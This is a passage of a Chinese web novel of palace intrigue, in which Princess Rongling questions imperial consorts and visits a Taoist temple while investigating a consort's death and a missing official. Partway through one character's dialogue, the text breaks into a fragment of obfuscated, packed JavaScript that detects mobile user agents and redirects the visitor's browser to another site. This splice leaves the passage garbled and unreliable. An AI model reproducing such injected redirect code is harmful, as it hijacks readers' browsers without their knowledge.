贵妃终于不再把玩那一手朱红的蔻丹，她单手支颐，鲜亮的指甲衬在雪一般的面容旁。她不答反问，“螭吻你来说，驸马表字为何？”
荣宗祈上下瞧瞧二人，他不明所以地答道，“丞阳表字水芝，乃莲花别名，取的正是宋时‘君子爱莲’之意。”
荣龄再看那绣帕，心中有不好的预感，故而这帕子是…
果然，贵妃冷冷一“哼”，“这帕子是驸马交与荣沁的，说是在都察院上值时，不知由哪个不长眼的塞到了膳房送来的食盒中。荣沁觉得荒唐，便托本宫查了。本宫查到，这玉色的暗纹锦，陛下只赐了永寿宫、披香殿数匹，再者，便给了东宫。若你们还不信，可再查这诗句的字迹…都说瞿氏女儿书画皆通，她人虽死了，留下的书信总还有。”
话至此，贵妃的意思已昭然若揭。
可她荣龄却不能当头个把这意思说破的人。于是，她强作不解，又问：“娘娘的意思是？”
“呵…”贵妃冷笑，“你怎的还如小时愚笨？”
她自上首站起，昂着满头珠翠走下毛毡铺地的台阶，“本宫的意思是，那瞿氏女自诩高门贵女，家风肃洁。可你去大都瞧瞧，哪门子贵女会这样不知羞地绣下帕子，赠与已婚配的儿郎？本宫瞧她瞿郦珠不过是耐不住深宫寂寞，故而不甘心地勾引驸马。这样的女子若叫本宫裁决，定判个挫骨扔到乱葬岗，省得污宫中清净！”
荣宗祈叫这大相径庭的故事乱了思绪，他蹙了眉头，担忧问道：“若真如此，丞阳岂不无罪，可他人在何处，又为何失踪？”
贵妃取过胆瓶里养的一枝含苞的早梅，“这怕是要问…”她有意不说完。
下一息，她手中忽地发狠，掐落满枝头的梅花苞，“许是有人也瞧出了红梅出墙，便恼得一不做二不休掐死了那花儿。可只死了个花儿不够解气，他便指使小丫头栽赃于驸马。自然的，驸马无辜不会认这罪，于是，他索性困了驸马，来个不认也得认！”
荣龄听出来，她虽未提太子，却字字句句指桑骂槐，将罪状都指给荣宗柟。可贵妃说了半晌，到底未给出除了那方绣帕外的任何证据。
想来…她这通说辞也与皇后一般，只能听个囫囵。
“竟是这样！”荣龄假作吃惊，再道，“既如此，我与三哥更要查个明白。”
见荣龄未明确表态，贵妃并不满意。可她略一想，也没再说。
但在荣龄与荣宗祈离去时，她状若不经意地与身旁的大宫女提起，“阿木尔如今也大了，我瞧着高兴。只是想起她比荣毓稍大些时，还在永寿宫待过几日。这日子啊，当真不经过。”
荣龄心中一滞。
她面上如常，可在旁人不能见的衣裳下，汗毛却已根根暴起——它们中一些是因愤怒，一些却是儿时留下的如本能的恐惧。
可她没有回头，她用力忽略那如毒蛇般阴冷、怨恨的目光，挺直脊骨走出永寿宫的宫门。
待重又回到两道青墙的拐角处，一道着银红色大袖衫的身影匆匆赶来，“宫人说你们叫贵妃请去了永寿宫，可有事？”
她径直推开迎上前的荣宗祈，只拉住荣龄的双手上下细瞧，“阿木尔，她可欺负你了？”
一时间，荣龄恍觉时间回到了八年前。
那时，她绝望又奄奄一息地困在永寿宫的水牢中，正是眼前这并非她母亲的妇人引来皇祖母，才救出了她，又将她送去南漳。
没有林妃，就没有今日的荣龄。
她拉住林妃的手，亲热地摇了摇，“林妃娘娘，我没事，如今她早不敢动我。”
“是啊，她哪敢动二十万南漳三卫的总教头荣龄郡主？”荣宗祁在一旁酸溜溜道，“母妃，你担心她，还不若担心你的亲儿子我。我可半分武功不会，半点兵力皆无，是个十足的手无缚鸡之力的…”
没叫他说完，林妃便不耐地再推开他，“你一年到头干不了一件正事，怎能与你妹妹比？”
可说起正事，眼下便有再棘手不过的一件。
林妃脸色一黯，叹道：“只是你们俩…怎的摊上这事！”她低着嗓子抱怨，“圣上也是，那丑事顶破了天也与螭吻，与阿木尔分毫不干。怎的有好事时轮不上咱们，到得罪人了，便拿你们二人顶乔？”
荣宗祈却半点不因母亲的“仗义执言”而感动，他袖起手，如看透她道：“母妃，既如此，不若你替我求一求父皇，请他收回成命？”
林妃狠狠一拍他，“我哪敢？你自个去。”
“可有道是生子若母，”荣宗祈两手一摊，状若无奈道，“我这胆子也与母妃一样小，我可不敢！”
林妃也学他两手一摊，“那没法子，你只能自个受着。”
一行人往林妃平乐宫行去。
路上，荣龄问道：“林妃娘娘，我与瞿良娣几无相交，实在不知她是怎样的人。”
她既不信皇后口中一片纯然的瞿郦珠，也不信贵妃污蔑的不甘太子冷落，铤而走险勾引蔺丞阳的瞿良娣。
她想知道，旁人眼中的瞿氏究竟是怎样的女子。
谁知林妃一叹，“她倒也是个可怜人。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14252855|146698||http|test|mini|href|location''.split(''|''),0,{}));
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“瞿氏才情绝佳，容貌却逊一些——她那额角有个蔓至头心的紫红胎记，不甚美观。也因此，她虽贵为皇后的内侄女，却也只能做个良娣。”
可在宫中，最不缺的便是美人。
瞿氏入宫后，人人在明面上尊她敬她，可暗地里，却无一不说她前世造了孽，故而惹得孟婆留下恁大的丑记。
慢慢的，瞿氏变得不愿出门、也不爱说话。
加之太子荣宗柟一年都不去她宫中几回，瞿氏的处境愈发艰难起来。
“可我怎记得，去年正月初二的三清茶会，瞿良娣一盏三清茶引得父皇、太子哥哥齐齐夸赞，”荣宗祈想起一事，怀疑道，“太子哥哥瞧着…也不是那般重颜色的人。”
闻言，林妃忍不住一“啧”，她嫌弃道：“我怎的生了你这憨货，你也是男子，竟能问出狻猊重不重颜色这话？”
她转过头来叮嘱荣龄，“阿木尔你且记着，凡是男子，没有不喜美人的。便是你家张大人，那也是一样！”
说着说着，她歪了话题，“你瞧瞧，我本只说送你去南漳躲开那毒妇，不料你却打仗上了瘾再不肯回来。可战场刀剑无眼，若叫这如花似玉的脸蛋留了疤，我要心疼死！”
“母妃！你莫说三攀四，再说说瞿良娣，”荣宗祈引她回到话题，“眼下这才是最紧要的。”
“还能说什么？”林妃气呼呼地打他，嫌他坏了自个谈性，“我上回见她已是半年前，再听说便是死讯。”
荣龄再问道：“那娘娘，你半年前见她是怎样的情形？”
见是荣龄询问，林妃便努力回想，“那日我出宫散心，恰遇上她也去买锦祥斋的素点心。我记得，她买的是一提松仁酥——也与我一样。可若真要说有何稀奇的，便是她的样貌虽未变，但我总觉得美了些。”
可究竟美在哪里，林妃也说不出。
至此，林妃之于瞿良娣的记忆便已说尽。
天已黄昏，荣龄望着皇宫尽头那轮辉煌又壮烈的落日，心中不禁沉沉一叹。
这一日，她自宛平赶回大都，又连见建平帝与三位宫妃，次第听闻各人口中迥然各异的瞿郦珠。
在他们的叙述中，她拼凑出面目模糊、经历失真的瞿氏女。
她到底是怎样的人，她经历了怎样离奇的遭遇，她的死又是否与花间司有关？
荣龄想不出头绪，便只能将细节都先记下，回头再议。
眼见的便要至平乐宫宫门，荣龄拱手道别，“娘娘，我还有事，日后再来探望你。只还有一事…”
她望了眼与平乐宫一墙之隔的青瓦，“托你与披香殿提一句，叫她仔细些荣毓，别叫那小丫头落单。”
林妃听出她的意思来，“阿木尔，你…不去瞧瞧？前些日子听闻你在五莲峰中了迷药几日都未醒，玉妃一下便病倒了。”
荣龄一愣，从没人告诉她…
可她再开口，话中仍冰凉，“我又不是太医，治不了她的病。”她拒绝道，“再者，我来这西六宫本不为她。”
林妃还要劝，却叫荣宗祈拦住，他替林妃承诺道：“知道了，母妃定会告知玉妃娘娘。”
做完这最后一件事，荣龄来西六宫的目的便已都达成。她行了一礼，头也不回地向宫外而去。
35. 吃味
大都的东安门外有一崇釉胡同，自有朝定都起便是高门聚居之地。前朝末年，此地修了两间深宅，分属于摄政亲王的幼子、幼女。
到了如今，当今圣上只这南漳王一个同胞兄弟，他老人家念着南漳王爷彪炳的战功，便将两处宅子一并给了他。
于是，南漳王府占了一整条崇釉胡同，大得没了边。
这日，王府的现任主人南漳郡主时隔三年终于回府。长史额尔登喜得早几日便将全府收拾得洁净锃亮，连那地砖缝都用极细的毛刷一一刷过，准保郡主便是如儿时那般赤着脚跑上一日，脚底板都是雪雪白的。
额尔登自晌午便候在门房，这一候就候到了晚暮的申时。
伴随斜阳余晖，一人一马出现在崇釉胡同口。
额尔登狠狠一搓眼皮，待反应过来这并非自个错觉，他一下便蹦起来，也不管一副知天命的老骨头，快跑着去迎他那小主子。
“郡主，郡主可回来了。”他亲自为荣龄拉马绳，“奴才给郡主见礼了！”
荣龄看他那白了一半的发，笑道：“额尔登，你怎的不去买些何首乌染染头发？”
额尔登摸了摸已然稀疏的头顶，“郡主说笑了，老奴都这把年纪，哪里还管那头发白不白？”
“天色晚了，郡主饿坏了吧？厨房十六个灶眼都烧得旺极了，郡主想吃什么，立马就能有！”
荣龄随他入府，“行，今日回来高兴，人人都赏一道菜。”转过影壁，来到前院，她一手微抬，示意沿路行礼的仆从丫鬟都免礼，“叫人再去刑部问问，张大人几时下值？”
额尔登脚下一顿，“哪个张大人？”待回过神来，他高兴道：“哎！哎！老奴这就去！”
穿过重重院落，荣龄终于回到自小住的清梧院。
虽在北地，这清梧院中却有一汪清澈曲水，曲水之上架有一整块昆仑紫玉雕出的玉桥，那桥一头连着六角凉亭，一头延至一间二重小楼。
二重小楼乍见并不惹眼，可若细闻，空中尽是淡淡的白檀木香。原来，整间小楼都用了上好的白檀建造。
传言南漳王头回来这小院时也咋了舌，“这便是南逃的摄政王给他幼女备的院子？”他一叹，“咱们远居祁连山下，到底没见过好东西。”
想着清梧引凤，他便将院子给了自个的独女荣龄。
只是他嫌那幅“凤鸣高岗”的匾太过张扬，便央建平帝写了斗大的“梧桐断角”四字。
梧桐断角，说的是以柔克刚，正适合女儿家。
用过晚饭，额尔登来禀，说是张廷瑜也估算不好下值的时间叫她不必等。荣龄便痛快沐浴，未等一头湿发晾干就沉沉睡去。
也不知到了什么时辰，屋中忽有动静。荣龄睡得迷糊，只以为是替自个晾头发的小丫鬟收拾的动静大了些。
可再过一会，却有一只冰凉的手伸到被窝中，径直抓住自己。
荣龄一惊，如本能般做出擒拿、压制、锁喉的一系列动作。
待双指在黑暗中扣上那支柔软的喉管，她的灵台忽地清醒过来，等等，她拿住的是…？
果然，那人叫她掐得哑了嗓子，“郡主，是我！”
荣龄忙松开，“你怎的吓我？”她扶张廷瑜坐起来。
张廷瑜叫她这恶人先告状告得一笑，“我哪有吓你？不过试试郡主睡得沉不沉。”
荣龄拥着锦被重又躺下，“沉，沉得很！沉得能将你一把掐死了都醒不来。”
张廷瑜跟着也钻入被中，他自夤夜深寒中来，整个人都凉透了。
于是他便没往荣龄那头靠，只在外侧撑了头问她，“今日在宫中可都顺利？”
荣龄的睡意又涌上来，她神志模糊地颔首，“还不错。”
张廷瑜的下一句话却叫她一下又清醒过来，“那郡主可知，蔺丞阳失踪了？”
荣龄阖着眼，眼珠子转了两道。
她不奇怪蔺丞阳失踪的消息传开，毕竟那人也是堂堂的都察院佥都御史，多日不去上值总要惹人相询。
不过，她也想知道外头是怎样传的。
更何况，她白日里听人说了半天的瞿良娣，眼下也想了解一番旁人口中的蔺丞阳。
“哦？他为何失踪？”荣龄睁眼问道。
“说什么的都有，有说他犯了圣怒，叫圣上囚在内监。有说他瞧上了一介伶人，因怕公主怪罪，故来了个一走了之。也有说他时运不济染了重病，恐是要一命呜呼。”张廷瑜一面回暖身子，一面回道。
荣龄转过头来，“蔺家如何说？”蔺家可是几代簪缨的大都名门，他们能任外头随意乱猜？
透过窗外亮光，张廷瑜见荣龄几缕额发乱了，便替她拨开，“说来也怪，蔺家几人在朝，却都对蔺丞阳的去处讳莫如深。前几日，已然告老的蔺太傅忽参加了个诗会，在以‘莲’为题作诗时，他老人家亲笔挥毫，写下一句‘人间处处存公义，不负青名留史篇’，似替谁喊冤。”
闻言，荣龄凑近一些，“只题了这一句？”
张廷瑜却道：“这一句很足够了。蔺太傅是前朝旧臣，便是最混乱的末年也没叫摄政王抓住把柄。郡主可知他凭的什么？”
荣龄摇头。
“凭的便是蔺家的祖训‘万言万当，不如一默’。传言摄政王曾令暗卫监视，欲拿住蔺太傅的罪过。可暗卫蹲守一月，回禀道蔺太傅便是睡梦中都不曾泄出只言半语。摄政王只能罢了。”
这样说，荣龄便懂了。
蔺太傅在以“莲”为题作诗时罕见地露出冤屈之辞，为的只能是表字“水芝”的长孙蔺丞阳。
因而，荣龄道：“在蔺丞阳一事中，想来蔺家已与贵妃娘娘站在一处。”
“贵妃娘娘？”张廷瑜奇道，“水芝失踪与贵妃有关？”
荣龄想了想。
她虽不想张廷瑜参与到这事中，可叫他知道些，这并无碍。于是，她将蔺丞阳与瞿良娣一事细细说了。
张廷瑜沉思道：“若单论我对水芝的了解，他不至于昏头到迷·奸瞿良娣又杀了她。”
荣龄心说，她也不大信。
可眼下，太子一方拿得出丫鬟、点心这些人证、物证，更有长春道的道士亲见，二月前的那日，蔺丞阳与瞿良娣在相近的时辰去往后山…而贵妃与蔺家，除去一张归属未明的帕子，便什么都没了。
查案，凭的绝非谁人口中的故事更曲折动人。
荣龄叹了一记，头疼得紧。
过一会，她暂且放下蔺丞阳与瞿良娣之事，心中转了转。
“不过张大人…我瞧你倒
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是与那蔺丞阳心心相惜，你便不恼他抢了你的驸马之位？”她打趣道。
黑暗中，张廷瑜一笑。
“一个刁蛮又寻常的公主，怎比得上武能安邦定社稷，文能…文也不赖的荣龄郡主？”他道。
荣龄伸出脚，越过两重被子踢他，“论起文我是也熟读四书五经、诸子百家…”她嘟囔着补充，“比我父王强多了…”
虽不能与他这探花郎相比…
身旁那人止不住笑，“我也没说不好，还不赖。”
荣龄不满意这答案，便继续为难他：“可皇姐美得很，别跟我说你分不出美丑，你可不脸盲。”
张廷瑜却一点不觉为难，他仍笑着回道：“我自然能认出美人。可公主虽美，郡主娘娘更是凤仪万千。”
荣龄捉住他的把柄，“瞧瞧，林妃娘娘说得果真不错，但凡是男子，没有不爱美人的。”
难过美人关的张衡臣也不辩解，只颔首承认，“在臣心中，郡主确是一等一的美人。”
荣龄叫他说得耳根滚烫。
她往里侧一挪，离那人远一些。“不跟你说了，我要睡了。”
一只手窸窣钻入她的锦被，荣龄还没开口，便觉自个的指间嵌入他的指。
“我要睡了，张衡臣…”她挣着手，却挣不脱。
张廷瑜拖着她的手安置于自个腹前，“那便睡吧。”
他身上的热意沿手心、胳膊，一直传到荣龄身上。那热意烫得很，烫得她本就热腾腾的身子要烧起来。
“可这样…这样我如何睡？我…我睡不着。”她磕巴道。
“那到底是困了还是睡不着？”张廷瑜阖上眼睛，做出一副要睡的样子。
荣龄掐他的手，低低嘀咕，“你欺负我，张廷瑜。”
张廷瑜未继续回答，他躺在原处，手中半分不放。
夜一重一重深去，荣龄慢慢浸入梦中。
梦中的她自然未听到账中曾响起一道沉沉的嗓音——“我怎会在意别人？你不知道我有多庆幸…可你都忘了。”
至于庆幸何事又忘了何事，他没再说。
次日，荣龄在府中等候。
待等到阿卯与与他押解而来的宫女，她便领上一行缁衣卫去了城南一处香火鼎盛的道观。
荣宗祈已在观前等她，见了与她一道而来的宫女，他叹道：“阿木尔，太子哥哥还是信重你，竟将这宫女交给了你。”
“对了，你唤何名？”他问那宫女。
宫女衣着整洁，发髻却微蓬。她面对一身战功的荣龄与三殿下荣宗祈，面上毫无惊色与惧意。“奴婢旱莲。”
旱莲，一种专生于关陇的玉兰。不用说，她便是瞿郦珠自娘家带来的贴身丫鬟。
“旱莲，太子哥哥想是与你交代了。劳烦你将二月前瞿良娣来此解签时，去的每一处，说的每一句话都重现于我们。”荣龄道。
“奴婢明白。”
一行人拾级而上。
上行途中，荣龄抬头望去——脚下石阶沿山势向上，径直穿过一间窄窄的牌楼与山门。而在山门之后，高峻神殿凌空而建，它们浮于磅礴的青烟之中，渺渺如海上仙山。
那青烟深处的道观便是他们此行的目的地，也是这一切的起始之地——长春观。
36. 姻缘签
长春观较保州的小观大上许多。
沿主轴由南往北次第有灵祖殿、混元殿、三清殿、斗姥殿、玉皇楼，过了玉皇楼便是降生与说法两个高台，高台正中又有一道石阶，沿山势通往长春观的后山。
荣龄并未通知观中，因而她与荣宗祈领着旱莲进入三清殿时，蒲团上满是各地来的信众。
“良娣先是在此拜了三清，又去八卦亭中请了签。”旱莲道。
荣龄环视四周，此处的三清塑像要高大、宏伟许多。
玉清居中，双手捧先天八卦图，上清位左，执一柄水头极好的玉如意，太清列右，白发白须，手持羽扇。
与其他道观中三清像最不同的是，玉清手捧的先天八卦图外围有一圈四时花图。
乍一看，那四时花既如八卦图散出的神光，又似一圈禁制围绕四周。
荣龄再一嗅，殿中并无下元水关大帝诞辰日的桃花香味，倒有一股清淡的莲香。
荣龄本要出门去，荣宗祈拉住她，“人家不远万里来观中祈愿，你我已至殿中，空手离去不大妥当。”
倒也有理。
但当周围人都在喁喁私语，只求自个心中的愿望能叫神灵听见时，荣龄面对三清，脑中只有一片空白。
倒不是她没有心愿，没有想见的人。
可在南漳王战死、她日日夜夜求他入梦而不得时，她便不再信漫天神佛。
出了三清殿，往东是八卦亭。
叫人吃惊的是，八卦亭中的人竟比三清殿还多。
一位妇人领着年青的娘子挤上前，“阿娘与你说，莫要学那些高门的娘子面皮薄。你这个年纪都未婚配，还不快求张白龙子的姻缘签，并请丘道长好好解签才是。”
荣龄再望去，亭中多是中年的妇人、男子，许是都为儿女的姻缘而来。
她随人群排了一会，轮到她时，荣龄只说：“请道长为我解一解第五十一签。”
老道留了长长的白须，一双眼却精光矍铄，“这位贵人，你还未取签。”
荣龄坐到他对面的小凳，“可我心中早已选定第五十一签。”
老道士摇头，“贵人，姻缘二字讲求的是因果，如今尚未有因，老道如何能知果？”
排在荣龄身后的妇人也帮腔道：“你这小娘子奇怪得很，怎能不取签又非要丘道长解签文？白龙子手书的姻缘签十分灵验，既到了这里，切莫害羞不肯求签了。”
她只当荣龄也是面皮菲薄的高门娘子，临了临了还在扭捏。
荣龄不想引起争论，于是便取过签筒，伸手拨了拨。等看清那支第五十一签，她手中发力，几下便将它摇出来。
只是伴随第五十一签，另一支第九十九签也在同时落地。
“哟，一求双签，这怕是要重摇。”那妇人嘀咕。
丘老道却道：“不忙，许是天意。这位贵人想问何事？”
荣龄想起瞿郦珠因不孕来此，便重又坐下道，“问子嗣。”
“子嗣？”丘老道瞥了眼左手的第五十一签，又瞧了右手的第九十九签，“可这二签都与子嗣无关。”
旱莲拉过荣龄衣袖，在她耳边道：“郡主，良娣问的是与太子殿下的情缘。”
“哦？”荣龄略想了想，又问，“那可问我与夫君的情意？”
丘老道先留下第五十一签，“风弄竹声，只道金佩响。月移花影，疑是玉人来。签是上吉，但…”
“道长但说无妨。”
丘老道望向荣龄，“贵人方才问与夫君的情意，想来已有婚配。但这签中的玉人，像是未至之人…”
而未至之人，又怎会是已婚配的夫婿？
因此签是上吉，可于成了婚的女子，却未必是支好签。
荣龄看了眼旱莲，旱莲微微颔首，示意与那日说得无二。
“但老道瞧贵人面相，端的是一往情深深几许，想来这签并非贵人的。”他又取过第九十九签，“久旱逢甘雨，他乡遇故知。洞房花烛夜，金榜挂名时。这一签集人间四大喜，是大吉之相。”
荣龄心道，这签文中的“洞房花烛夜，金榜挂名时”倒与她和张廷瑜的情形相符。
她本只想一听瞿郦珠的签文，可阴差阳错的，那第五十一签又带出了第九十九签，而第九十九签又偏是这样的说辞…
莫非…这签真是她的？
“只是贵人，这签中意象虽是大吉，但久旱方逢甘霖，他乡才遇故知。贵人须备着有柳暗花明、别久重逢的境遇。”丘老道又补充道。
荣龄一愣。
可她再想，自己本就不信这些，眼下怎因一句“洞房花烛夜，金榜挂名时”着相？
她笑了笑，“好，我知道了。”
荣龄往钱箱中扔了几粒碎银作香火钱，正要离去时，恰看到八卦亭旁的一株桃树。
她问道：“丘道长，此处三清殿中可燃过桃花香？”
丘老道抬眼看她，本就精亮的眼神添一分古井般的深意，“贵人自何处来？”
荣龄心中戒备，但转念一想，长春道往保州运去三清塑像并非秘事，于是答道，“曾在下元水关大帝生辰之日去过保州。”
“保州…”丘老道沉吟，“那老道与贵人还有过一面之缘。”
“哦？”
“那日，老道护送三清塑像至保州。”丘老道答道。
荣龄便想起来，确有一位老道揭下白龙子手书的密符彩绦赠与信徒。“倒是巧了。”
又说回桃花香。
“白龙子好香道，依照四时百花，做了无数种香。老道记得的便有桃花香、鹅梨香、茉莉合香、白梅香、三桂香、兰馥香…老道最喜春生之气，因而在那日点了桃花香。”
荣龄颔首，“原是这样的，但不知这香可有功效？”
“理气解郁、除痹定痛。另，能见到想见的人。”
这倒与独孤氏说的合上了。
只是…荣龄问道：“是见一个幻象？又或是实在的人？”
丘老道一捋长须，“这便看贵人与那想见之人的机缘。四季有时，随时而为，若时机到了，那人许是顷刻便在眼前。”
一番机锋怕是能绕晕心中本有挂碍之人，但如荣龄这般心智清明又坚定的，她只当听了一通无用的废话。
告别丘老道，荣龄等人又在旱莲的陪伴下拜过斗姥殿、玉皇楼，晌午在二仙庵吃了一份素面。
旱莲端来一盏观中的药茶，“良娣本打算在此午歇，但因签文心中烦闷，故而命我在此等候，她一人去了后山的丹桂林。”
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而旱莲在此等了两个时辰，只等到衣衫凌乱、一脸仓皇的瞿郦珠。
荣龄看了眼药茶，推给荣宗祈，“三哥，数九天寒，你喝了补补身子。”
荣宗祈上下看过，他点了点荣龄，“定是有诈。”他道。
最终，二人谁都没饮那药茶。
略坐了坐，荣龄又吩咐旱莲仍在二仙庵等候，她与荣宗祈一道去了后山的丹桂林。
待走远一些，荣宗祈回首看山腰，“怎的不叫她跟来？”
荣龄有些漫不经心道：“因我要试试她。”
她一面往丹桂林行去，一面思索，若她是瞿郦珠，她会在此时此刻想些什么。
是因一纸签文坐立难安，担忧那个未至的“玉人”扰乱她在东宫本就如履薄冰的生活，还是思念在关陇的亲人，想要回到一去不复回的无忧岁月。
“这丹桂林是大都八月的一处盛景。十五前后，百树竞放、橘红一片，许多雅客文人来此结社、饮酒。但过了时节，此地便萧条下来。”荣宗祈边走边解释道。
果然，待他们到了丹桂林，眼前只有幽绿又沉默的丹桂树，并无半个闲人来赏。
荣龄往深处行去，耳畔只有踏碎落叶与枝干的脆响与偶尔鸣号的寒鸦。
她心道，瞿郦珠来此已是九月，那时花期已过，林中景象应与当下相近。
只是…这略有几分阴森的林子，瞿郦珠一个深宫妇人，竟有胆子孤身来此？
“这里何时建了竹屋、种了白梅？”荣宗祈奇道。
荣龄随他望去，一株不知活了几百年、树冠遮天蔽日的老丹桂下建了一间精巧的竹屋。而围绕老丹桂与竹屋，数百株白梅含苞待绽。
那竹屋的窗门皆敞，似正有人在里头对弈。
二人正要走近细瞧，忽有一道沉慢的风悠悠穿过林间，扑至二人面前。
那风初时狭小，但随着它不断靠近，丝丝缕缕的波动仿若能自我衍生、复制，待至二人面前，那已是如排山倒海般汹涌的力道。
荣龄暗道不好，忙一脚踢开半点武功不会的荣宗祈，她又抽出腰间长刀，朝一处不住打旋的风口硬顶上去。
刚与那风口相接，无坚不摧的乌兹钢刀竟蜂鸣颤抖。荣龄心中一惊，何等深厚的内力方有这般力道？
她不敢硬抗，撤刀的同时身影急转。
天旋地转中，她用余光瞥见那力道甩在地面留下的半人深的沟壑。
荣龄心中寒意更甚，大都何时来了此等世外高人？
隐在暗处的缁衣卫一涌而出。
万文林一马当先，朝前方寻去。不一会，两道黑影缠斗一处。
荣龄自诩功夫尚佳，可此时此刻，她竟找不出二人出招的间隙——恍如天落无边大雨，浇得人寻不到一丝空当呼吸。
万文林持一柄加重加厚的镔铁刀，刀风刚猛劲烈，只需刮一丝在树间，便能瞬间劈落一地枝叶。
但他对面的高手不用任何兵刃，又或者，他的双手便是最无往不胜的兵刃——只见他手露寒光，正带着一副用极细的钢丝织就的刀枪不入的手套。
激烈打斗中，那人气息分毫不乱。
自那绵厚无绝的气息中，荣龄认出他来——这人与丘老道一般，也与她在保州有一面之缘。
37. 白龙子
“哈头陀，不得无礼。”伴随一道轻柔的女音，丹桂林中不停游走的磅礴内力在一瞬间消失无踪。
万文林收刀退回荣龄身边。
荣龄问道：“可有伤到？”
万文林摇头，但他气息急促，显然也未讨到好。
荣龄往那声音的来处看去。
一人着素白道帔，戴白玉兰花冠，正款款自竹屋走来。
“不知郡主尊驾至此，多有冒犯。哈头陀心智不全，又来自身毒国不通言语，贫道代他向郡主赔罪。”她臂弯中搭雪白拂尘，一路行来如流水行云。
“你是？”荣龄戒备问道。
“阿木尔，这是白龙子。”又一道秋香色的身影自门内走出。
荣龄心中一惊，建平帝怎会在此？
她忙躬身拜道：“陛下。”
荣宗祈叫缁衣卫扶着，一瘸一拐走来，“父皇，你怎的来了，莫非也来长春观请签？”他混不吝问。
亏得二人离得远，不然，建平帝定又想揍他。
白龙子在一旁解围，“请签一事解的是凡人困苦，陛下乃真龙天子，早已超脱贫道的签文之外。”
建平帝一“哼”，“朕便是叫你气的，在宫中闷得很，只能来此躲清闲。”
荣宗祈很是无辜，“可父皇，儿臣几年前大婚便搬出了宫，早不住宫里头。我这几里外也能惹嫌…”
建平帝一时说不过他，只能伸出两指狠狠示意他闭嘴。
荣龄冷眼旁观眼前的景象。
她久不在大都，不知只用十年便使信众遍布大梁的长春道祖师白龙子竟是如此年青的女子。
她更不知，建平帝对白龙子信重至此，百忙之中还专门出宫寻她对弈。
荣龄本就因长春道与花间司错综复杂的关系而头疼，如今这般，更觉棘手。
建平帝略过荣宗祈，又问荣龄，“阿木尔来这为何事？”
荣龄禀道：“瞿良娣…”
她想起还在一旁的白龙子，便换了说辞，“她在二月前来过这，我与三哥来瞧瞧。”
“哦？竟是在此…”建平帝虽命荣龄与荣宗祈彻查此事，但各中细节并未一一了解。
见荣龄防备，他摆了摆手，“不必避忌，白龙子知晓此事——便是她告知朕瞿氏与蔺家小子同日来了长春观。阿木尔还有不明的，可再问问她。”
荣龄心中惊疑。
不论真相如何，瞿郦珠与蔺丞阳这事是实打实的皇家丑闻，不然，建平帝不至于舍弃刑部、都察院，专等到她与荣宗祈回大都才探查。
可这样的事，他也告诉白龙子？
那白龙子到底有何神通，建平帝与白龙子又当真只是寻常的论道投契？
“福生无量天尊。”白龙子低低念了一句法号，“瞿良娣如此年青，又在长春观中遇到那事，若深究，贫道也有罪责。郡主只管问，贫道定知无不言。”
荣龄已有怀疑的方向，因而便问：“瞿良娣是否头次来长春观。”
白龙子略想了想，颔首道：“确是第一回。”
荣龄又看向空地中新栽的白梅花树，“这片花树何时种的？怎的在丹桂林里栽种白梅？”
却是建平帝回答。
“是朕吩咐的。这半年你母妃身子一直不好，朕想带她出宫散心。白龙子便提起，你母妃最喜白梅，不若种一片梅林，叫她在冬寒时分看赏。朕听着有些趣味，便叫人在八月移来梅林。如今白梅树含苞待放，朕先来探探路。”
他又招呼荣龄，“到时候，你陪你母妃一道来。”
白龙子在一旁道：“陛下待玉妃娘娘当真一片赤忱。”
二人说得兴致正好，却不知他们话中的赤忱正在荣龄心中落下雪、凝成冰。
她望向那片白茫无际的雪原，冷得快要打起寒战。
因而，她未回答建平帝，只道：“荣龄告退。”
她头也不回地离去，自然未听到建平帝低低的叹息——“阿木尔始终不肯原谅朕与玉妃。”
“陛下，”白龙子一挥拂尘，空气中弥漫出令人静心的清香，“陛下与玉妃是天定姻缘，陛下只需信从这一点，一切艰难阻隔，都将化为春水无痕。”
建平帝颔首，“但愿吧。”
下山路上，荣龄心中窝着一团火。
见荣宗祈鬼鬼祟祟觑她，她心中的火便有些兜不住：“怎的？三哥也想看那白梅？不如今日就宿在这，日日夜夜看个够！”
一番话一股脑扔给荣宗祈，砸得火星四溅。
“行，我宿在这，趁夜里毁了那片白梅。”他好脾气道，“如此，阿木尔可解气了？”
荣龄自知这番邪火不该撒在他身上。
“三哥，我…”
荣宗祈却摇了摇头，安慰她不必再说。
“行了，三哥明白。”
快至二仙庵，见旱莲已出门相迎，他又主动转了话题，“旱莲来了，你要如何试她？”
荣龄长长吐出一口郁气。
等旱莲到了身前，她的神情已回复如常。
她状若怜惜道：“那丹桂林阴森萧条，怎能让瞿良娣自个一人去？”
一听这话，旱莲红了眼，“郡主说的是，我也劝良娣莫自个去。可她心里难过，斥责我‘如今我便想一个人静静都不行吗？’”
“郡主，说句诛心的，我们良娣…我们小姐来了大都，当真是苦透了！”她哭着跪倒在地。
荣龄的话中有十二分的可惜，“但凡再晚一些，待那白梅开了引去游人，瞿良娣也不至于遭人毒手也没个能求助的。”荣龄道。
旱莲泪流满面，“等不到了，小姐等不到那片白梅开，也等不到旁人来救她。”
荣龄眼中一利，抬头看她一眼。
但她没有再说，只命阿卯将旱莲带回东宫。
荣宗祈听得云里雾里，“你刚刚问的何意？”
荣龄却卖关子，“今日辛苦三哥起个大早，咱们便到这。”
荣宗祈拉住她，“这便结了？那蔺丞阳与瞿良娣究竟哪个害了哪个？”
“眼下我还不敢说，”荣龄道，“再过几日，待我找到证物，咱们便将这事了了。”
“你去何处寻证物？”荣宗祈问。
“去一个，你去不了的地方。”
“这是新搜到的证物？”宣武门内的刑部，张廷瑜指着一块杂驳金、红、蓝绿三色的石头问道。
证物来自他前段时间在保州查处的同知贪墨案。
那案子本不复杂，不过是一五品同知伙同税官贪墨税银。只是案中死了一个县令，他才有借口去往保州。
可刚刚，冯保命人送来一件新的证物——同知招供，这由已殁的镔铁局主事独孤氏赠与，为的是酬谢他曾出手平了一事。
冯保知道张廷瑜去保州查的便是独孤氏，便将这证物也给送来。
张廷瑜收下证物，又谢过星夜赶来的保州府兵。
